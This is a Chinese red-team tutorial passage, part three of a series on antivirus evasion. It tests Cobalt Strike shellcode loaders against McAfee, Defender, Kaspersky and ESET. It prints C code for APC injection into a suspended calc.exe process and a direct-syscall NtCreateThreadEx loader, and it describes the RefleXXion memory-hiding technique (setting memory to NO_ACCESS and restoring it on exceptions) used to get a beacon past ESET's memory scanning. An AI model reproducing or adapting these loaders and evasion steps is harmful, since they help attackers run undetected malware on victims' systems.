红队攻防之基础免杀( 三 )


可能是有语义分析的引擎,这次刚好绕过了语义分析 。
macfee
同上方法可以成功bypass:

红队攻防之基础免杀

文章插图
 
正常执行命令:
红队攻防之基础免杀

文章插图
 
kasperky Endpoint 11 for windows
用过macfee和definder的demo2测试失败,注释掉代码加载部分不报毒,改用apc和创建进程的的方式加载内存:
SIZE_T shellSize = 4096; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\Windows\System32\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle);
依旧不行:
红队攻防之基础免杀

文章插图
 
使用syscall调用NtCreateThreadEx 。这里被坑了,WaitForSingleObject要使用,不然会异步,没法上线:
ANtCTE( &hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0, 0, 0, nullptr ); WaitForSingleObject(hThread, INFINITE);
能看到效果,行为检测依旧有问题:
红队攻防之基础免杀

文章插图
 
但漏洞利用防御已经没有相关报警:
红队攻防之基础免杀

文章插图
 
怀疑是cs本身流量特征的问题,为了验证我使用卡巴斯基本身的功能禁用了网络请求:
红队攻防之基础免杀

文章插图
 
确实不杀也不报警了,确定是cs通信的问题 。
ESET Endpoint Security
demo3报警,并且明显检测到网络连接行为
红队攻防之基础免杀

文章插图
 
静态没有问题
红队攻防之基础免杀

文章插图
 
主要应该还是在对内存的检测,而且感觉已经执行到了发包
红队攻防之基础免杀

文章插图
 
下面根据《三》中的“beacon的内存加密”对demo3进行优化,使用RefleXXion工具的第二种将内存设为NO_ACCESS并通过注册异常处理还原的方式进行免杀 。
红队攻防之基础免杀

文章插图
 
设置流量的白名单:
红队攻防之基础免杀

文章插图
 
关闭web控制后成功并上线
红队攻防之基础免杀

文章插图
 
eset在持续在扫描内存,但一直没有权限,一直触发异常,无法进入正常的后门逻辑


推荐阅读